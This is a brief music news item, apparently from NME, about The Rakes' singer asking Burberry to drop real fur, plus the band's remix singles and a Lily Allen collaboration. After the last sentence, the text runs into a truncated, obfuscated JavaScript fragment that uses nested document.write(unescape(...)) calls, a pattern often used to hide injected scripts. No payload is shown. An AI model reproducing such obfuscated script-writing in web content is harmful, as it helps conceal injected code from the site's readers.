The Rakes against fur

The Rakes frontman Alan Donohoe has written to Burberry asking them to stop using real fur in their designs.

The singer has stated that the band will not shop at the fashion house or participate in any of their advertising campaigns until the policy is reversed.

Donohoe explained in a letter to the company's CEO: "Every year, millions of animals are trapped, drowned and beaten to death in the wild and strangled, electrocuted and skinned alive on fur farms. The fur trade is a violent, bloody industry, and the cold-hearted killing of animals for 'fashion' is indefensible.

"The Rakes will not shop at Burberry or participate in Burberry's ad campaigns until it pledges to stop supporting cruelty to animals and adopts a permanent fur-free policy. "

Meanwhile, The Rakes are releasing two 12" singles featuring remixes of their songs.

One disc includes Statik's remix of 'We Are All Animals' and the Filthy Dukes Society mix of '22 Grand Job'. The second one features 'Open Book', remixed by Uncle Buck, and the Loving Hands Tim Goldsworthy Remix of 'Binary Love'.

Both singles are released on October 9.

The band, who have started work on their second album, also recently collaborated with Lily Allen.

They teamed up in Paris for a TV show, performing a David Bowie cover together.

For the full story and exclusive pictures see this week's NME, dated September 30, which is on sale now.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22